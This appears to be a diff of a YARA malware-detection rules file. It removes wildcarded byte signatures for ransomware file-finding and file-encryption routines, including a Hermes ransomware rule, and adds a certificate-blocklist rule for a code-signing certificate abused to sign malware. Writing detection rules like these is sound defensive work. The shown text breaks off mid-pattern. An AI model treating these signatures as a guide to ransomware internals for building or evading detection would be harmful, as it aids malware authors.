?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? - ?? ?? ?? FF D0 83 7D ?? ?? 74 0C 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 - 83 7D ?? ?? 75 22 6A ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 85 C0 75 07 C7 45 ?? ?? ?? ?? ?? - 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 74 60 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? - 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 89 45 ?? 83 7D ?? ?? 74 37 8D 95 ?? ?? ?? ?? 52 8D 85 - ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 - ?? ?? ?? ?? FF D2 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 8B 45 ?? 5E 8B E5 5D C3 - } - $v30_1_encrypt_file_1 = { - 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 06 83 7D ?? ?? 75 08 8B 45 ?? E9 02 05 00 00 8B 45 ?? 83 38 ?? 74 - 09 8B 4D ?? 83 79 ?? ?? 75 08 8B 45 ?? E9 E9 04 00 00 C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? - FF D0 89 45 ?? 6A ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B - 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 89 45 ?? 83 7D ?? ?? 0F 84 6F 04 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 - C4 ?? 85 C0 0F 85 90 03 00 00 6A ?? 6A ?? 6A ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 83 F8 ?? 0F 84 70 03 - 00 00 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 89 45 ?? 83 7D ?? ?? 0F 84 50 03 00 00 8D 55 ?? 52 8B 45 - ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 38 03 00 00 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 E8 ?? ?? - ?? ?? 8B 90 ?? ?? ?? ?? FF D2 89 45 ?? 83 7D ?? ?? 0F 84 04 03 00 00 6A ?? 6A ?? 8B 45 ?? 8B 48 ?? 51 8B 55 ?? 52 E8 ?? - ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 83 F8 ?? 0F 84 CC 02 00 00 8B 4D ?? 3B 4D ?? 73 08 8B 55 ?? 89 55 ?? EB 06 8B 45 ?? 89 - 45 ?? 8B 4D ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 6A ?? 6A ?? 8B 45 ?? 8B 08 51 E8 ?? ?? ?? - ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 0F 84 73 01 00 00 8B 45 ?? 8B 48 ?? 83 E9 ?? 89 4D ?? 8B 55 ?? D1 E2 89 55 ?? 8B 45 ?? - } - $v30_1_encrypt_file_2 = { - 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 35 01 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 2B 4D ?? 39 4D ?? 73 08 8B 55 ?? 89 55 ?? EB 09 8B 45 ?? 2B 45 ?? 89 45 ?? 8B 4D - ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? - FF D0 85 C0 0F 84 94 00 00 00 8B 4D ?? 3B 4D ?? 0F 85 88 00 00 00 8B 55 ?? 3B 55 ?? 73 07 C7 45 ?? ?? ?? ?? ?? 83 7D ?? - ?? 74 73 8B 45 ?? 89 45 ?? 8B 4D ?? 51 8D 55 ?? 52 8B 45 ?? 50 6A ?? 8B 4D ?? 51 6A ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 - ?? ?? ?? ?? FF D0 85 C0 74 44 6A ?? 8D 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF - D2 85 C0 74 21 8B 45 ?? 3B 45 ?? 75 19 8B 4D ?? 03 4D ?? 89 4D ?? 8B 55 ?? 03 55 ?? 89 55 ?? C7 45 ?? ?? ?? ?? ?? 83 7D - ?? ?? 74 06 83 7D ?? ?? 74 02 EB 0C 8B 45 ?? 3B 45 ?? 0F 85 FB FE FF FF 8B 4D ?? 3B 4D ?? 75 07 C7 45 ?? ?? ?? ?? ?? 8B - 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 83 7D ?? ?? 0F 85 02 01 00 00 C7 45 - ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 83 F8 ?? 0F 84 DB 00 00 00 6A ?? 8D - 4D ?? 51 8B 55 ?? 8B 42 ?? 50 8B 4D ?? 8B 51 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 0F 84 AE 00 - } - $v30_1_encrypt_file_3 = { - 00 00 8B 55 ?? 8B 45 ?? 3B 42 ?? 0F 85 9F 00 00 00 6A ?? 8D 4D ?? 51 6A ?? 8D 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 - ?? ?? ?? ?? FF D1 85 C0 74 7E 83 7D ?? ?? 75 78 8B 55 ?? 3B 55 ?? 74 1B 8B 45 ?? 8B 4D ?? 03 48 ?? 89 4D ?? 8B 55 ?? 2B - 55 ?? 89 55 ?? 8B 45 ?? 89 45 ?? 6A ?? 8D 4D ?? 51 6A ?? 8D 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 - 85 C0 74 34 83 7D ?? ?? 75 2E 6A ?? 8D 55 ?? 52 6A ?? 8D 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 - C0 74 0D 83 7D ?? ?? 75 07 C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 EB 07 C7 45 ?? ?? ?? - ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 83 7D ?? ?? 75 71 83 7D ?? ?? 75 28 83 7D ?? ?? 75 22 68 ?? ?? - ?? ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 07 C7 45 ?? ?? ?? ?? ?? EB 43 83 7D ?? ?? 74 36 83 7D ?? - ?? 74 30 C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 - 74 07 C7 45 ?? ?? ?? ?? ?? EB 07 C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 - C4 ?? EB 07 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 8B 45 ?? 8B E5 5D C3 - } - $v30_2_encrypt_file_1 = { - 55 8B EC 81 EC ?? ?? ?? ?? 56 C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 06 83 7D ?? ?? 75 08 8B 45 ?? E9 BF 05 00 00 8B 45 ?? - 83 38 ?? 74 1B 8B 4D ?? 83 79 ?? ?? 74 12 8B 55 ?? 83 7A ?? ?? 74 09 8B 45 ?? 83 78 ?? ?? 75 08 8B 45 ?? E9 94 05 00 00 - 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 89 45 ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 C7 - 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? - ?? ?? ?? FF D0 89 45 ?? 83 7D ?? ?? 0F 84 1A 05 00 00 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 8B - 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 74 07 C7 45 ?? ?? ?? ?? ?? 66 0F 57 C0 66 0F 13 45 ?? 8D 45 ?? 50 - 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 0D 04 00 00 66 0F 57 C0 66 0F 13 85 ?? ?? ?? ?? 6A ?? 6A ?? - 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 83 F8 ?? 0F 84 D5 03 00 00 - 8D 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 BD 03 00 00 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B - 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 89 45 ?? 83 7D ?? ?? 0F 84 90 03 00 00 C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 - E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 52 03 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? 8D 45 ?? 50 8D 4D ?? 51 8D 55 ?? 52 8D 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 FF 02 00 00 - } - $v30_2_encrypt_file_2 = { - C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 8B 48 ?? 51 8B 55 ?? - 8B 02 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 A7 02 00 00 C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 8B 55 ?? 8B 42 ?? 50 8B - 4D ?? 8B 51 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 0F 84 67 02 00 00 8B 55 ?? 8B 45 ?? 3B 42 ?? - 0F 85 58 02 00 00 6A ?? 8D 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 0F - 84 31 02 00 00 8B 45 ?? 3B 45 ?? 0F 85 25 02 00 00 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 C7 45 ?? ?? ?? ?? - ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 F4 01 00 00 66 0F 57 C0 66 0F 13 45 ?? C7 45 ?? ?? ?? - ?? ?? 66 0F 57 C0 66 0F 13 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 3B 4D ?? 75 0C 8B 55 ?? 3B 55 ?? 0F - 84 90 01 00 00 C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 33 C9 8B 55 ?? 2B 55 ?? 8B 75 ?? 1B 75 ?? 89 85 ?? ?? ?? ?? 89 8D ?? ?? ?? - ?? 89 95 ?? ?? ?? ?? 89 75 ?? 8B 85 ?? ?? ?? ?? 3B 45 ?? 77 1D 72 0E 8B 8D ?? ?? ?? ?? 3B 8D ?? ?? ?? ?? 73 0D 8B 55 ?? - 33 C0 89 55 ?? 89 45 ?? EB 12 8B 4D ?? 2B 4D ?? 8B 55 ?? 1B 55 ?? 89 4D ?? 89 55 ?? 8B 45 ?? 89 45 ?? 8B 4D ?? 33 D2 03 - 4D ?? 13 55 ?? 89 8D ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 45 ?? 75 12 8B 8D ?? ?? ?? ?? 3B 4D ?? 75 07 C7 - 45 ?? ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 85 C0 0F - 84 B3 00 00 00 8B 4D ?? 3B 4D ?? 0F 85 A7 00 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 8B - } - $v30_2_encrypt_file_3 = { - 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 71 6A ?? 8D 45 ?? 50 8B 4D ?? - 51 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 74 42 8B 55 ?? 3B 55 ?? 75 3A 8B 45 ?? 33 C9 03 - 45 ?? 13 4D ?? 89 45 ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 33 C0 03 55 ?? 13 45 ?? 89 55 ?? 89 45 ?? 8B 4D ?? 51 E8 - ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 75 02 EB 0D 83 7D ?? ?? 74 02 EB 05 - E9 5C FE FF FF 83 7D ?? ?? 74 17 8B 4D ?? 3B 4D ?? 75 0F 8B 55 ?? 3B 55 ?? 75 07 C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? - ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B - 88 ?? ?? ?? ?? FF D1 6A ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? - ?? FF D2 83 7D ?? ?? 74 0C 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 83 7D - ?? ?? 75 22 6A ?? 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 75 07 C7 45 ?? ?? ?? ?? ?? 8B 45 - ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 74 60 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? - ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 89 45 ?? 83 7D ?? ?? 74 37 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? - ?? ?? 52 8D 85 ?? ?? ?? ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? - ?? ?? FF D1 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 8B 45 ?? 5E 8B E5 5D C3 - } - $v30_3_encrypt_file_1 = { - 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 75 08 8B 45 ?? E9 48 04 00 00 83 7D ?? ?? 75 08 8B 45 ?? E9 3A 04 00 - 00 8B 45 ?? 83 78 ?? ?? 74 11 8B 4D ?? 83 39 ?? 74 09 8B 55 ?? 83 7A ?? ?? 75 08 8B 45 ?? E9 18 04 00 00 C7 45 ?? ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 89 45 ?? 6A ?? 8B 55 - ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B - 90 ?? ?? ?? ?? FF D2 89 45 ?? 83 7D ?? ?? 0F 84 90 03 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 0F 84 - 83 00 00 00 8B 45 ?? 8B 48 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 74 6B 6A ?? 8D 55 ?? 52 8B 45 ?? 8B 48 ?? - 51 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 74 39 8B 55 ?? 3B 15 ?? ?? ?? ?? 75 2E 8B 45 ?? - 8B 48 ?? 51 8B 55 ?? 8B 42 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 50 ?? FF D2 85 C0 75 0E C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 0F 84 9A 02 00 00 6A ?? 6A ?? 6A ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? - 8B 90 ?? ?? ?? ?? FF D2 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 89 45 ?? 83 7D ?? ?? 0F 84 63 02 00 00 - 8B 55 ?? 3B 55 ?? 0F 87 57 02 00 00 8D 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 3F 02 00 00 6A ?? 6A - } - $v30_3_encrypt_file_2 = { - 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 89 45 ?? 83 7D ?? ?? 0F 84 0B 02 00 - 00 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 81 E1 ?? ?? ?? ?? 74 1C 6A ?? 6A ?? 8B 15 ?? ?? ?? ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B - 88 ?? ?? ?? ?? FF D1 C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? - FF D0 85 C0 0F 84 52 01 00 00 C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 51 6A ?? 6A ?? 8B 55 ?? 8B 02 50 8B 4D ?? 8B 51 ?? 52 8B 45 - ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 0F 84 0A 01 00 00 8B 55 ?? 8B 42 ?? 83 E8 ?? 89 45 ?? 8B 4D ?? D1 E1 - 89 4D ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 CC 00 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? 6A ?? 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 74 76 8B 55 ?? - 3B 55 ?? 73 07 C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 5F 8B 45 ?? 50 8D 4D ?? 51 8B 55 ?? 52 6A ?? 8B 45 ?? 50 6A ?? 8B 4D - ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 74 21 6A ?? 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? - ?? ?? 8B 88 ?? ?? ?? ?? FF D1 EB 15 83 7D ?? ?? 74 0D 83 7D ?? ?? 74 07 C7 45 ?? ?? ?? ?? ?? EB 0E EB 02 EB 0A 83 7D ?? - ?? 0F 84 54 FF FF FF 83 7D ?? ?? 74 07 C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? - } - $v30_3_encrypt_file_3 = { - ?? 8B 88 ?? ?? ?? ?? FF D1 6A ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 83 7D ?? ?? 75 47 8B 4D ?? 81 E1 ?? - ?? ?? ?? 74 3C 6A ?? 6A ?? 6A ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 6A ?? 8D 4D ?? 51 8B 55 ?? 8B 42 ?? - 50 8B 4D ?? 8B 51 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? - FF D0 EB 07 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 83 7D ?? ?? 75 20 68 ?? ?? ?? ?? 8B - 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 07 C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 - ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? EB 07 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 - 8B 45 ?? 8B E5 5D C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( ( ( $v30_entrypoint at pe.entry_point ) and $v30_api_load and $v30_calculate_hash and $v30_dll_load and $v30_1_find_file_1 and $v30_1_find_file_2 and $v30_1_encrypt_file_1 and $v30_1_encrypt_file_2 and $v30_1_encrypt_file_3 ) or ( ( $v30_entrypoint at pe.entry_point ) and $v30_api_load and $v30_calculate_hash and $v30_dll_load and $v30_2_find_file_1 and $v30_2_find_file_2 and $v30_2_encrypt_file_1 and $v30_2_encrypt_file_2 and $v30_2_encrypt_file_3 ) or ( ( $v20_entrypoint at pe.entry_point ) and $v30_api_load and $v30_calculate_hash and $v30_dll_load and $v30_2_find_file_1 and $v30_2_find_file_2 and $v20_1_encrypt_file_1 and $v20_1_encrypt_file_2 and $v20_1_encrypt_file_3 ) or ( ( $v30_entrypoint at pe.entry_point ) and $v30_api_load and $v30_calculate_hash and $v30_dll_load and $v30_3_find_file_1 and $v30_3_find_file_2 and $v30_3_encrypt_file_1 and $v30_3_encrypt_file_2 and $v30_3_encrypt_file_3 ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PET SERVICES d.o.o." and ( pe.signatures [ i ] . serial == "00:d5:69:0d:94:f1:53:15:e1:43:db:10:af:35:49:7d:c5" or pe.signatures [ i ] . serial == "d5:69:0d:94:f1:53:15:e1:43:db:10:af:35:49:7d:c5" ) and 1576195200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Hermes : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_8223C74185Add0927246F5E33Ebac467 : INFO FILE { meta: - description = "Yara rule that detects Hermes ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "1f1f363a-5be0-59e5-b1c1-5e277922790c" - date = "2020-06-26" - modified = "2020-07-15" + id = "dfe87130-7b2f-5f8a-8c2d-8653c2bd0cd3" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Hermes.yara#L1-L284" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12704-L12722" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6db95c422ee2f9dd8a1795031ee8d7d5ed84e16cde47512becc006b6a849e890" + logic_hash = "f700b4f7cdfda9f678c3a5259d4293640c50567ec277c5b3db69756534e2007f" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Hermes" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $hermes_find_files_v1_p1 = { - A5 A5 A5 8D BD ?? ?? ?? ?? 66 AB BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? A5 A5 66 A5 68 ?? - ?? ?? ?? 8D BD ?? ?? ?? ?? 50 AB 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 65 - ?? ?? 8B 5D ?? 8B FB 4F 4F 8D 47 ?? 66 8B 4F ?? 47 47 66 85 C9 75 ?? BE ?? ?? ?? ?? - A5 A5 8D 8D ?? ?? ?? ?? 51 50 66 A5 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 89 45 ?? E8 - ?? ?? ?? ?? 59 59 8B C8 E8 ?? ?? ?? ?? 8B CB 8B D0 E8 ?? ?? ?? ?? 2B C2 33 C9 83 7D - ?? ?? 66 89 0C 43 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? - 8B C1 6A ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 - ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? - 8B C1 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 FF 75 - ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D 7D ?? A5 A5 A5 A5 33 - } - $hermes_find_files_v1_p2 = { - C0 6A ?? 59 6A ?? 8D 7D ?? 66 AB BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? F3 A5 59 BE ?? ?? - ?? ?? 8D BD ?? ?? ?? ?? F3 A5 BE ?? ?? ?? ?? 8D 7D ?? A5 A5 A5 A5 6A ?? 59 8D 7D ?? - AB BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? F3 A5 8D BD ?? ?? ?? ?? AB AB 66 AB BE ?? ?? ?? - ?? 8D 7D ?? A5 A5 A5 A5 33 C0 6A ?? 8D 7D ?? AB 59 BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? - F3 A5 66 A5 8D BD ?? ?? ?? ?? AB BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? A5 A5 A5 A5 8D BD - ?? ?? ?? ?? AB AB AB 66 AB 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 - C0 0F 85 ?? ?? ?? 